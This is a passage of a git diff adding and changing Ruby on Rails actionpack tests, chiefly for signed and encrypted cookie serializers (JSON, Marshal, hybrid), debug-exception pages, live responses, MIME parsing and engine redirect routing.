class SendFileTest < ActionController::TestCase
- tests SendFileController
include TestFileUtils
Mime::Type.register "image/png", :png unless defined? Mime::PNG
@@ -144,7 +147,7 @@ class SendFileTest < ActionController::TestCase
}
@controller.headers = {}
- assert !@controller.send(:send_file_headers!, options)
+ assert_raise(ArgumentError) { @controller.send(:send_file_headers!, options) }
end
def test_send_file_headers_guess_type_from_extension
@@ -196,4 +199,14 @@ class SendFileTest < ActionController::TestCase
assert_equal 200, @response.status
end
end
+
+ tests SendFileWithActionControllerLive
+
+ def test_send_file_with_action_controller_live
+ @controller = SendFileWithActionControllerLive.new
+ @controller.options = { :content_type => "application/x-ruby" }
+
+ response = process('file')
+ assert_equal 200, response.status
+ end
end
diff --git a/actionpack/test/controller/test_case_test.rb b/actionpack/test/controller/test_case_test.rb
index f75c604277..fbc10baf21 100644
--- a/actionpack/test/controller/test_case_test.rb
+++ b/actionpack/test/controller/test_case_test.rb
@@ -1,5 +1,6 @@
require 'abstract_unit'
require 'controller/fake_controllers'
+require 'active_support/json/decoding'
class TestCaseTest < ActionController::TestCase
class TestController < ActionController::Base
@@ -162,6 +163,29 @@ XML
end
end
+ class DefaultUrlOptionsCachingController < ActionController::Base
+ before_filter { @dynamic_opt = 'opt' }
+
+ def test_url_options_reset
+ render text: url_for(params)
+ end
+
+ def default_url_options
+ if defined?(@dynamic_opt)
+ super.merge dynamic_opt: @dynamic_opt
+ else
+ super
+ end
+ end
+ end
+
+ def test_url_options_reset
+ @controller = DefaultUrlOptionsCachingController.new
+ get :test_url_options_reset
+ assert_nil @request.params['dynamic_opt']
+ assert_match(/dynamic_opt=opt/, @response.body)
+ end
+
def test_raw_post_handling
params = Hash[:page, {:name => 'page name'}, 'some key', 123]
post :render_raw_post, params.dup
@@ -622,7 +646,7 @@ XML
@request.headers['Referer'] = "http://nohost.com/home"
@request.headers['Content-Type'] = "application/rss+xml"
get :test_headers
- parsed_env = JSON.parse(@response.body)
+ parsed_env = ActiveSupport::JSON.decode(@response.body)
assert_equal "http://nohost.com/home", parsed_env["HTTP_REFERER"]
assert_equal "application/rss+xml", parsed_env["CONTENT_TYPE"]
end
@@ -631,7 +655,7 @@ XML
@request.headers['HTTP_REFERER'] = "http://example.com/about"
@request.headers['CONTENT_TYPE'] = "application/json"
get :test_headers
- parsed_env = JSON.parse(@response.body)
+ parsed_env = ActiveSupport::JSON.decode(@response.body)
assert_equal "http://example.com/about", parsed_env["HTTP_REFERER"]
assert_equal "application/json", parsed_env["CONTENT_TYPE"]
end
@@ -705,6 +729,14 @@ XML
assert @request.params[:foo].blank?
end
+ def test_filtered_parameters_reset_between_requests
+ get :no_op, :foo => "bar"
+ assert_equal "bar", @request.filtered_parameters[:foo]
+
+ get :no_op, :foo => "baz"
+ assert_equal "baz", @request.filtered_parameters[:foo]
+ end
+
def test_symbolized_path_params_reset_after_request
get :test_params, :id => "foo"
assert_equal "foo", @request.symbolized_path_parameters[:id]
diff --git a/actionpack/test/controller/url_for_test.rb b/actionpack/test/controller/url_for_test.rb
index 088ad73f2f..a8035e5bd7 100644
--- a/actionpack/test/controller/url_for_test.rb
+++ b/actionpack/test/controller/url_for_test.rb
@@ -204,9 +204,6 @@ module AbstractController
end
def test_relative_url_root_is_respected
- # ROUTES TODO: Tests should not have to pass :relative_url_root directly. This
- # should probably come from routes.
-
add_host!
assert_equal('https://www.basecamphq.com/subdir/c/a/i',
W.new.url_for(:controller => 'c', :action => 'a', :id => 'i', :protocol => 'https', :script_name => '/subdir')
@@ -370,6 +367,24 @@ module AbstractController
assert_equal("/c/a?show=false", W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :show => false))
end
+ def test_url_generation_with_array_and_hash
+ with_routing do |set|
+ set.draw do
+ namespace :admin do
+ resources :posts
+ end
+ end
+
+ kls = Class.new { include set.url_helpers }
+ kls.default_url_options[:host] = 'www.basecamphq.com'
+
+ controller = kls.new
+ assert_equal("http://www.basecamphq.com/admin/posts/new?param=value",
+ controller.send(:url_for, [:new, :admin, :post, { param: 'value' }])
+ )
+ end
+ end
+
private
def extract_params(url)
url.split('?', 2).last.split('&').sort
diff --git a/actionpack/test/controller/webservice_test.rb b/actionpack/test/controller/webservice_test.rb
index b2dfd96606..d80b0e2da0 100644
--- a/actionpack/test/controller/webservice_test.rb
+++ b/actionpack/test/controller/webservice_test.rb
@@ -1,4 +1,5 @@
require 'abstract_unit'
+require 'active_support/json/decoding'
class WebServiceTest < ActionDispatch::IntegrationTest
class TestController < ActionController::Base
@@ -54,7 +55,7 @@ class WebServiceTest < ActionDispatch::IntegrationTest
def test_register_and_use_json_simple
with_test_route_set do
- with_params_parsers Mime::JSON => Proc.new { |data| JSON.parse(data)['request'].with_indifferent_access } do
+ with_params_parsers Mime::JSON => Proc.new { |data| ActiveSupport::JSON.decode(data)['request'].with_indifferent_access } do
post "/", '{"request":{"summary":"content...","title":"JSON"}}',
'CONTENT_TYPE' => 'application/json'
diff --git a/actionpack/test/dispatch/cookies_test.rb b/actionpack/test/dispatch/cookies_test.rb
index 91ac13e7c6..0f145666d1 100644
--- a/actionpack/test/dispatch/cookies_test.rb
+++ b/actionpack/test/dispatch/cookies_test.rb
@@ -11,6 +11,16 @@ require 'active_support/key_generator'
require 'active_support/message_verifier'
class CookiesTest < ActionController::TestCase
+ class CustomSerializer
+ def self.load(value)
+ value.to_s + " and loaded"
+ end
+
+ def self.dump(value)
+ value.to_s + " was dumped"
+ end
+ end
+
class TestController < ActionController::Base
def authenticate
cookies["user_name"] = "david"
@@ -359,9 +369,72 @@ class CookiesTest < ActionController::TestCase
assert_equal 'Jamie', @controller.send(:cookies).permanent[:user_name]
end
- def test_signed_cookie
+ def test_signed_cookie_using_default_serializer
get :set_signed_cookie
- assert_equal 45, @controller.send(:cookies).signed[:user_id]
+ cookies = @controller.send :cookies
+ assert_not_equal 45, cookies[:user_id]
+ assert_equal 45, cookies.signed[:user_id]
+ end
+
+ def test_signed_cookie_using_marshal_serializer
+ @request.env["action_dispatch.cookies_serializer"] = :marshal
+ get :set_signed_cookie
+ cookies = @controller.send :cookies
+ assert_not_equal 45, cookies[:user_id]
+ assert_equal 45, cookies.signed[:user_id]
+ end
+
+ def test_signed_cookie_using_json_serializer
+ @request.env["action_dispatch.cookies_serializer"] = :json
+ get :set_signed_cookie
+ cookies = @controller.send :cookies
+ assert_not_equal 45, cookies[:user_id]
+ assert_equal 45, cookies.signed[:user_id]
+ end
+
+ def test_signed_cookie_using_custom_serializer
+ @request.env["action_dispatch.cookies_serializer"] = CustomSerializer
+ get :set_signed_cookie
+ assert_not_equal 45, cookies[:user_id]
+ assert_equal '45 was dumped and loaded', cookies.signed[:user_id]
+ end
+
+ def test_signed_cookie_using_hybrid_serializer_can_migrate_marshal_dumped_value_to_json
+ @request.env["action_dispatch.cookies_serializer"] = :hybrid
+
+ key_generator = @request.env["action_dispatch.key_generator"]
+ signed_cookie_salt = @request.env["action_dispatch.signed_cookie_salt"]
+ secret = key_generator.generate_key(signed_cookie_salt)
+
+ marshal_value = ActiveSupport::MessageVerifier.new(secret, serializer: Marshal).generate(45)
+ @request.headers["Cookie"] = "user_id=#{marshal_value}"
+
+ get :get_signed_cookie
+
+ cookies = @controller.send :cookies
+ assert_not_equal 45, cookies[:user_id]
+ assert_equal 45, cookies.signed[:user_id]
+
+ verifier = ActiveSupport::MessageVerifier.new(secret, serializer: JSON)
+ assert_equal 45, verifier.verify(@response.cookies['user_id'])
+ end
+
+ def test_signed_cookie_using_hybrid_serializer_can_read_from_json_dumped_value
+ @request.env["action_dispatch.cookies_serializer"] = :hybrid
+
+ key_generator = @request.env["action_dispatch.key_generator"]
+ signed_cookie_salt = @request.env["action_dispatch.signed_cookie_salt"]
+ secret = key_generator.generate_key(signed_cookie_salt)
+ json_value = ActiveSupport::MessageVerifier.new(secret, serializer: JSON).generate(45)
+ @request.headers["Cookie"] = "user_id=#{json_value}"
+
+ get :get_signed_cookie
+
+ cookies = @controller.send :cookies
+ assert_not_equal 45, cookies[:user_id]
+ assert_equal 45, cookies.signed[:user_id]
+
+ assert_nil @response.cookies["user_id"]
end
def test_accessing_nonexistant_signed_cookie_should_not_raise_an_invalid_signature
@@ -369,7 +442,18 @@ class CookiesTest < ActionController::TestCase
assert_nil @controller.send(:cookies).signed[:non_existant_attribute]
end
- def test_encrypted_cookie
+ def test_encrypted_cookie_using_default_serializer
+ get :set_encrypted_cookie
+ cookies = @controller.send :cookies
+ assert_not_equal 'bar', cookies[:foo]
+ assert_raise TypeError do
+ cookies.signed[:foo]
+ end
+ assert_equal 'bar', cookies.encrypted[:foo]
+ end
+
+ def test_encrypted_cookie_using_marshal_serializer
+ @request.env["action_dispatch.cookies_serializer"] = :marshal
get :set_encrypted_cookie
cookies = @controller.send :cookies
assert_not_equal 'bar', cookies[:foo]
@@ -379,6 +463,66 @@ class CookiesTest < ActionController::TestCase
assert_equal 'bar', cookies.encrypted[:foo]
end
+ def test_encrypted_cookie_using_json_serializer
+ @request.env["action_dispatch.cookies_serializer"] = :json
+ get :set_encrypted_cookie
+ cookies = @controller.send :cookies
+ assert_not_equal 'bar', cookies[:foo]
+ assert_raises ::JSON::ParserError do
+ cookies.signed[:foo]
+ end
+ assert_equal 'bar', cookies.encrypted[:foo]
+ end
+
+ def test_encrypted_cookie_using_custom_serializer
+ @request.env["action_dispatch.cookies_serializer"] = CustomSerializer
+ get :set_encrypted_cookie
+ assert_not_equal 'bar', cookies.encrypted[:foo]
+ assert_equal 'bar was dumped and loaded', cookies.encrypted[:foo]
+ end
+
+ def test_encrypted_cookie_using_hybrid_serializer_can_migrate_marshal_dumped_value_to_json
+ @request.env["action_dispatch.cookies_serializer"] = :hybrid
+
+ key_generator = @request.env["action_dispatch.key_generator"]
+ encrypted_cookie_salt = @request.env["action_dispatch.encrypted_cookie_salt"]
+ encrypted_signed_cookie_salt = @request.env["action_dispatch.encrypted_signed_cookie_salt"]
+ secret = key_generator.generate_key(encrypted_cookie_salt)
+ sign_secret = key_generator.generate_key(encrypted_signed_cookie_salt)
+
+ marshal_value = ActiveSupport::MessageEncryptor.new(secret, sign_secret, serializer: Marshal).encrypt_and_sign("bar")
+ @request.headers["Cookie"] = "foo=#{marshal_value}"
+
+ get :get_encrypted_cookie
+
+ cookies = @controller.send :cookies
+ assert_not_equal "bar", cookies[:foo]
+ assert_equal "bar", cookies.encrypted[:foo]
+
+ encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret, serializer: JSON)
+ assert_equal "bar", encryptor.decrypt_and_verify(@response.cookies["foo"])
+ end
+
+ def test_encrypted_cookie_using_hybrid_serializer_can_read_from_json_dumped_value
+ @request.env["action_dispatch.cookies_serializer"] = :hybrid
+
+ key_generator = @request.env["action_dispatch.key_generator"]
+ encrypted_cookie_salt = @request.env["action_dispatch.encrypted_cookie_salt"]
+ encrypted_signed_cookie_salt = @request.env["action_dispatch.encrypted_signed_cookie_salt"]
+ secret = key_generator.generate_key(encrypted_cookie_salt)
+ sign_secret = key_generator.generate_key(encrypted_signed_cookie_salt)
+ json_value = ActiveSupport::MessageEncryptor.new(secret, sign_secret, serializer: JSON).encrypt_and_sign("bar")
+ @request.headers["Cookie"] = "foo=#{json_value}"
+
+ get :get_encrypted_cookie
+
+ cookies = @controller.send :cookies
+ assert_not_equal "bar", cookies[:foo]
+ assert_equal "bar", cookies.encrypted[:foo]
+
+ assert_nil @response.cookies["foo"]
+ end
+
def test_accessing_nonexistant_encrypted_cookie_should_not_raise_invalid_message
get :set_encrypted_cookie
assert_nil @controller.send(:cookies).encrypted[:non_existant_attribute]
@@ -537,6 +681,123 @@ class CookiesTest < ActionController::TestCase
assert_equal 'bar', encryptor.decrypt_and_verify(@response.cookies["foo"])
end
+ def test_legacy_json_signed_cookie_is_read_and_transparently_upgraded_by_signed_json_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
+ @request.env["action_dispatch.cookies_serializer"] = :json
+ @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+ @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+
+ legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33", serializer: JSON).generate(45)
+
+ @request.headers["Cookie"] = "user_id=#{legacy_value}"
+ get :get_signed_cookie
+
+ assert_equal 45, @controller.send(:cookies).signed[:user_id]
+
+ key_generator = @request.env["action_dispatch.key_generator"]
+ secret = key_generator.generate_key(@request.env["action_dispatch.signed_cookie_salt"])
+ verifier = ActiveSupport::MessageVerifier.new(secret, serializer: JSON)
+ assert_equal 45, verifier.verify(@response.cookies["user_id"])
+ end
+
+ def test_legacy_json_signed_cookie_is_read_and_transparently_encrypted_by_encrypted_json_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
+ @request.env["action_dispatch.cookies_serializer"] = :json
+ @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+ @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+ @request.env["action_dispatch.encrypted_cookie_salt"] = "4433796b79d99a7735553e316522acee"
+ @request.env["action_dispatch.encrypted_signed_cookie_salt"] = "00646eb40062e1b1deff205a27cd30f9"
+
+ legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33", serializer: JSON).generate('bar')
+
+ @request.headers["Cookie"] = "foo=#{legacy_value}"
+ get :get_encrypted_cookie
+
+ assert_equal 'bar', @controller.send(:cookies).encrypted[:foo]
+
+ key_generator = @request.env["action_dispatch.key_generator"]
+ secret = key_generator.generate_key(@request.env["action_dispatch.encrypted_cookie_salt"])
+ sign_secret = key_generator.generate_key(@request.env["action_dispatch.encrypted_signed_cookie_salt"])
+ encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret, serializer: JSON)
+ assert_equal 'bar', encryptor.decrypt_and_verify(@response.cookies["foo"])
+ end
+
+ def test_legacy_json_signed_cookie_is_read_and_transparently_upgraded_by_signed_json_hybrid_jar_if_both_secret_token_and_secret_key_base_are_set
+ @request.env["action_dispatch.cookies_serializer"] = :hybrid
+ @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+ @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+
+ legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33", serializer: JSON).generate(45)
+
+ @request.headers["Cookie"] = "user_id=#{legacy_value}"
+ get :get_signed_cookie
+
+ assert_equal 45, @controller.send(:cookies).signed[:user_id]
+
+ key_generator = @request.env["action_dispatch.key_generator"]
+ secret = key_generator.generate_key(@request.env["action_dispatch.signed_cookie_salt"])
+ verifier = ActiveSupport::MessageVerifier.new(secret, serializer: JSON)
+ assert_equal 45, verifier.verify(@response.cookies["user_id"])
+ end
+
+ def test_legacy_json_signed_cookie_is_read_and_transparently_encrypted_by_encrypted_hybrid_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
+ @request.env["action_dispatch.cookies_serializer"] = :hybrid
+ @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+ @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+ @request.env["action_dispatch.encrypted_cookie_salt"] = "4433796b79d99a7735553e316522acee"
+ @request.env["action_dispatch.encrypted_signed_cookie_salt"] = "00646eb40062e1b1deff205a27cd30f9"
+
+ legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33", serializer: JSON).generate('bar')
+
+ @request.headers["Cookie"] = "foo=#{legacy_value}"
+ get :get_encrypted_cookie
+
+ assert_equal 'bar', @controller.send(:cookies).encrypted[:foo]
+
+ key_generator = @request.env["action_dispatch.key_generator"]
+ secret = key_generator.generate_key(@request.env["action_dispatch.encrypted_cookie_salt"])
+ sign_secret = key_generator.generate_key(@request.env["action_dispatch.encrypted_signed_cookie_salt"])
+ encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret, serializer: JSON)
+ assert_equal 'bar', encryptor.decrypt_and_verify(@response.cookies["foo"])
+ end
+
+ def test_legacy_marshal_signed_cookie_is_read_and_transparently_upgraded_by_signed_json_hybrid_jar_if_both_secret_token_and_secret_key_base_are_set
+ @request.env["action_dispatch.cookies_serializer"] = :hybrid
+ @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+ @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+
+ legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33").generate(45)
+
+ @request.headers["Cookie"] = "user_id=#{legacy_value}"
+ get :get_signed_cookie
+
+ assert_equal 45, @controller.send(:cookies).signed[:user_id]
+
+ key_generator = @request.env["action_dispatch.key_generator"]
+ secret = key_generator.generate_key(@request.env["action_dispatch.signed_cookie_salt"])
+ verifier = ActiveSupport::MessageVerifier.new(secret, serializer: JSON)
+ assert_equal 45, verifier.verify(@response.cookies["user_id"])
+ end
+
+ def test_legacy_marshal_signed_cookie_is_read_and_transparently_encrypted_by_encrypted_hybrid_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
+ @request.env["action_dispatch.cookies_serializer"] = :hybrid
+ @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+ @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+ @request.env["action_dispatch.encrypted_cookie_salt"] = "4433796b79d99a7735553e316522acee"
+ @request.env["action_dispatch.encrypted_signed_cookie_salt"] = "00646eb40062e1b1deff205a27cd30f9"
+
+ legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33").generate('bar')
+
+ @request.headers["Cookie"] = "foo=#{legacy_value}"
+ get :get_encrypted_cookie
+
+ assert_equal 'bar', @controller.send(:cookies).encrypted[:foo]
+
+ key_generator = @request.env["action_dispatch.key_generator"]
+ secret = key_generator.generate_key(@request.env["action_dispatch.encrypted_cookie_salt"])
+ sign_secret = key_generator.generate_key(@request.env["action_dispatch.encrypted_signed_cookie_salt"])
+ encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret, serializer: JSON)
+ assert_equal 'bar', encryptor.decrypt_and_verify(@response.cookies["foo"])
+ end
+
def test_legacy_signed_cookie_is_treated_as_nil_by_signed_cookie_jar_if_tampered
@request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
@request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
@@ -694,8 +955,6 @@ class CookiesTest < ActionController::TestCase
assert_equal "dhh", cookies['user_name']
end
-
-
def test_setting_request_cookies_is_indifferent_access
cookies.clear
cookies[:user_name] = "andrew"
diff --git a/actionpack/test/dispatch/debug_exceptions_test.rb b/actionpack/test/dispatch/debug_exceptions_test.rb
index ff0baccd76..8660deb634 100644
--- a/actionpack/test/dispatch/debug_exceptions_test.rb
+++ b/actionpack/test/dispatch/debug_exceptions_test.rb
@@ -43,6 +43,19 @@ class DebugExceptionsTest < ActionDispatch::IntegrationTest
raise ActionController::UrlGenerationError, "No route matches"
when "/parameter_missing"
raise ActionController::ParameterMissing, :missing_param_key
+ when "/original_syntax_error"
+ eval 'broke_syntax =' # `eval` need for raise native SyntaxError at runtime
+ when "/syntax_error_into_view"
+ begin
+ eval 'broke_syntax ='
+ rescue Exception => e
+ template = ActionView::Template.new(File.read(__FILE__),
+ __FILE__,
+ ActionView::Template::Handlers::Raw.new,
+ {})
+ raise ActionView::Template::Error.new(template, e)
+ end
+
else
raise "puke!"
end
@@ -128,6 +141,48 @@ class DebugExceptionsTest < ActionDispatch::IntegrationTest
assert_match(/ActionController::ParameterMissing/, body)
end
+ test "rescue with text error for xhr request" do
+ @app = DevelopmentApp
+ xhr_request_env = {'action_dispatch.show_exceptions' => true, 'HTTP_X_REQUESTED_WITH' => 'XMLHttpRequest'}
+
+ get "/", {}, xhr_request_env
+ assert_response 500
+ assert_no_match(/<header>/, body)
+ assert_no_match(/<body>/, body)
+ assert_equal response.content_type, "text/plain"
+ assert_match(/RuntimeError\npuke/, body)
+
+ get "/not_found", {}, xhr_request_env
+ assert_response 404
+ assert_no_match(/<body>/, body)
+ assert_equal response.content_type, "text/plain"
+ assert_match(/#{AbstractController::ActionNotFound.name}/, body)
+
+ get "/method_not_allowed", {}, xhr_request_env
+ assert_response 405
+ assert_no_match(/<body>/, body)
+ assert_equal response.content_type, "text/plain"
+ assert_match(/ActionController::MethodNotAllowed/, body)
+
+ get "/unknown_http_method", {}, xhr_request_env
+ assert_response 405
+ assert_no_match(/<body>/, body)
+ assert_equal response.content_type, "text/plain"
+ assert_match(/ActionController::UnknownHttpMethod/, body)
+
+ get "/bad_request", {}, xhr_request_env
+ assert_response 400
+ assert_no_match(/<body>/, body)
+ assert_equal response.content_type, "text/plain"
+ assert_match(/ActionController::BadRequest/, body)
+
+ get "/parameter_missing", {}, xhr_request_env
+ assert_response 400
+ assert_no_match(/<body>/, body)
+ assert_equal response.content_type, "text/plain"
+ assert_match(/ActionController::ParameterMissing/, body)
+ end
+
test "does not show filtered parameters" do
@app = DevelopmentApp
@@ -201,4 +256,26 @@ class DebugExceptionsTest < ActionDispatch::IntegrationTest
get "/", {}, env
assert_operator((output.rewind && output.read).lines.count, :>, 10)
end
+
+ test 'display backtrace when error type is SyntaxError' do
+ @app = DevelopmentApp
+
+ get '/original_syntax_error', {}, {'action_dispatch.backtrace_cleaner' => ActiveSupport::BacktraceCleaner.new}
+
+ assert_response 500
+ assert_select '#Application-Trace' do
+ assert_select 'pre code', /\(eval\):1: syntax error, unexpected/
+ end
+ end
+
+ test 'display backtrace when error type is SyntaxError wrapped by ActionView::Template::Error' do
+ @app = DevelopmentApp
+
+ get '/syntax_error_into_view', {}, {'action_dispatch.backtrace_cleaner' => ActiveSupport::BacktraceCleaner.new}
+
+ assert_response 500
+ assert_select '#Application-Trace' do
+ assert_select 'pre code', /\(eval\):1: syntax error, unexpected/
+ end
+ end
end
diff --git a/actionpack/test/dispatch/live_response_test.rb b/actionpack/test/dispatch/live_response_test.rb
index e0cfb73acf..512f3a8a7a 100644
--- a/actionpack/test/dispatch/live_response_test.rb
+++ b/actionpack/test/dispatch/live_response_test.rb
@@ -6,6 +6,7 @@ module ActionController
class ResponseTest < ActiveSupport::TestCase
def setup
@response = Live::Response.new
+ @response.request = ActionDispatch::Request.new({}) #yolo
end
def test_header_merge
@@ -34,6 +35,7 @@ module ActionController
@response.stream.close
}
+ @response.await_commit
@response.each do |part|
assert_equal 'foo', part
latch.release
@@ -58,21 +60,30 @@ module ActionController
assert_nil @response.headers['Content-Length']
end
- def test_headers_cannot_be_written_after_write
+ def test_headers_cannot_be_written_after_webserver_reads
@response.stream.write 'omg'
+ latch = ActiveSupport::Concurrency::Latch.new
+ t = Thread.new {
+ @response.stream.each do |chunk|
+ latch.release
+ end
+ }
+
+ latch.await
assert @response.headers.frozen?
e = assert_raises(ActionDispatch::IllegalStateError) do
@response.headers['Content-Length'] = "zomg"
end
assert_equal 'header already sent', e.message
+ @response.stream.close
+ t.join
end
def test_headers_cannot_be_written_after_close
@response.stream.close
- assert @response.headers.frozen?
e = assert_raises(ActionDispatch::IllegalStateError) do
@response.headers['Content-Length'] = "zomg"
end
diff --git a/actionpack/test/dispatch/mime_type_test.rb b/actionpack/test/dispatch/mime_type_test.rb
index 8a19129695..981cf2426e 100644
--- a/actionpack/test/dispatch/mime_type_test.rb
+++ b/actionpack/test/dispatch/mime_type_test.rb
@@ -31,21 +31,21 @@ class MimeTypeTest < ActiveSupport::TestCase
test "parse text with trailing star at the beginning" do
accept = "text/*, text/html, application/json, multipart/form-data"
- expect = [Mime::HTML, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::XML, Mime::YAML, Mime::JSON, Mime::MULTIPART_FORM]
+ expect = [Mime::HTML, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::VCF, Mime::XML, Mime::YAML, Mime::JSON, Mime::MULTIPART_FORM]
parsed = Mime::Type.parse(accept)
assert_equal expect, parsed
end
test "parse text with trailing star in the end" do
accept = "text/html, application/json, multipart/form-data, text/*"
- expect = [Mime::HTML, Mime::JSON, Mime::MULTIPART_FORM, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::XML, Mime::YAML]
+ expect = [Mime::HTML, Mime::JSON, Mime::MULTIPART_FORM, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::VCF, Mime::XML, Mime::YAML]
parsed = Mime::Type.parse(accept)
assert_equal expect, parsed
end
test "parse text with trailing star" do
accept = "text/*"
- expect = [Mime::HTML, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::XML, Mime::YAML, Mime::JSON]
+ expect = [Mime::HTML, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::VCF, Mime::XML, Mime::YAML, Mime::JSON]
parsed = Mime::Type.parse(accept)
assert_equal expect, parsed
end
diff --git a/actionpack/test/dispatch/mount_test.rb b/actionpack/test/dispatch/mount_test.rb
index 30e95a0b75..cdf00d84fb 100644
--- a/actionpack/test/dispatch/mount_test.rb
+++ b/actionpack/test/dispatch/mount_test.rb
@@ -5,7 +5,7 @@ class TestRoutingMount < ActionDispatch::IntegrationTest
class FakeEngine
def self.routes
- Object.new
+ @routes ||= ActionDispatch::Routing::RouteSet.new
end
def self.call(env)
@@ -27,15 +27,21 @@ class TestRoutingMount < ActionDispatch::IntegrationTest
scope "/its_a" do
mount SprocketsApp, :at => "/sprocket"
end
+
+ resources :users do
+ mount FakeEngine, :at => "/fakeengine", :as => :fake_mounted_at_resource
+ end
end
def app
Router
end
- def test_trailing_slash_is_not_removed_from_path_info
- get "/sprockets/omg/"
- assert_equal "/sprockets -- /omg/", response.body
+ def test_app_name_is_properly_generated_when_engine_is_mounted_in_resources
+ assert Router.mounted_helpers.method_defined?(:user_fake_mounted_at_resource),
+ "A mounted helper should be defined with a parent's prefix"
+ assert Router.named_routes.routes[:user_fake_mounted_at_resource],
+ "A named route should be defined with a parent's prefix"
end
def test_mounting_sets_script_name
diff --git a/actionpack/test/dispatch/prefix_generation_test.rb b/actionpack/test/dispatch/prefix_generation_test.rb
index 113608ecf4..08501d19c0 100644
--- a/actionpack/test/dispatch/prefix_generation_test.rb
+++ b/actionpack/test/dispatch/prefix_generation_test.rb
@@ -31,6 +31,20 @@ module TestGenerationPrefix
get "/polymorphic_path_for_engine", :to => "inside_engine_generating#polymorphic_path_for_engine"
get "/conflicting_url", :to => "inside_engine_generating#conflicting"
get "/foo", :to => "never#invoked", :as => :named_helper_that_should_be_invoked_only_in_respond_to_test
+
+ get "/relative_path_root", :to => redirect("")
+ get "/relative_path_redirect", :to => redirect("foo")
+ get "/relative_option_root", :to => redirect(:path => "")
+ get "/relative_option_redirect", :to => redirect(:path => "foo")
+ get "/relative_custom_root", :to => redirect { |params, request| "" }
+ get "/relative_custom_redirect", :to => redirect { |params, request| "foo" }
+
+ get "/absolute_path_root", :to => redirect("/")
+ get "/absolute_path_redirect", :to => redirect("/foo")
+ get "/absolute_option_root", :to => redirect(:path => "/")
+ get "/absolute_option_redirect", :to => redirect(:path => "/foo")
+ get "/absolute_custom_root", :to => redirect { |params, request| "/" }
+ get "/absolute_custom_redirect", :to => redirect { |params, request| "/foo" }
end
routes
@@ -182,6 +196,66 @@ module TestGenerationPrefix
assert_equal "engine", last_response.body
end
+ test "[ENGINE] relative path root uses SCRIPT_NAME from request" do
+ get "/awesome/blog/relative_path_root"
+ verify_redirect "http://example.org/awesome/blog"
+ end
+
+ test "[ENGINE] relative path redirect uses SCRIPT_NAME from request" do
+ get "/awesome/blog/relative_path_redirect"
+ verify_redirect "http://example.org/awesome/blog/foo"
+ end
+
+ test "[ENGINE] relative option root uses SCRIPT_NAME from request" do
+ get "/awesome/blog/relative_option_root"
+ verify_redirect "http://example.org/awesome/blog"
+ end
+
+ test "[ENGINE] relative option redirect uses SCRIPT_NAME from request" do
+ get "/awesome/blog/relative_option_redirect"
+ verify_redirect "http://example.org/awesome/blog/foo"
+ end
+
+ test "[ENGINE] relative custom root uses SCRIPT_NAME from request" do
+ get "/awesome/blog/relative_custom_root"
+ verify_redirect "http://example.org/awesome/blog"
+ end
+
+ test "[ENGINE] relative custom redirect uses SCRIPT_NAME from request" do
+ get "/awesome/blog/relative_custom_redirect"
+ verify_redirect "http://example.org/awesome/blog/foo"
+ end
+
+ test "[ENGINE] absolute path root doesn't use SCRIPT_NAME from request" do
+ get "/awesome/blog/absolute_path_root"
+ verify_redirect "http://example.org/"
+ end
+
+ test "[ENGINE] absolute path redirect doesn't use SCRIPT_NAME from request" do
+ get "/awesome/blog/absolute_path_redirect"
+ verify_redirect "http://example.org/foo"
+ end
+
+ test "[ENGINE] absolute option root doesn't use SCRIPT_NAME from request" do
+ get "/awesome/blog/absolute_option_root"
+ verify_redirect "http://example.org/"
+ end
+
+ test "[ENGINE] absolute option redirect doesn't use SCRIPT_NAME from request" do
+ get "/awesome/blog/absolute_option_redirect"
+ verify_redirect "http://example.org/foo"
+ end
+
+ test "[ENGINE] absolute custom root doesn't use SCRIPT_NAME from request" do
+ get "/awesome/blog/absolute_custom_root"
+ verify_redirect "http://example.org/"
+ end
+
+ test "[ENGINE] absolute custom redirect doesn't use SCRIPT_NAME from request" do
+ get "/awesome/blog/absolute_custom_redirect"
+ verify_redirect "http://example.org/foo"
+ end
+
# Inside Application
test "[APP] generating engine's route includes prefix" do
get "/generate"
@@ -270,6 +344,17 @@ module TestGenerationPrefix
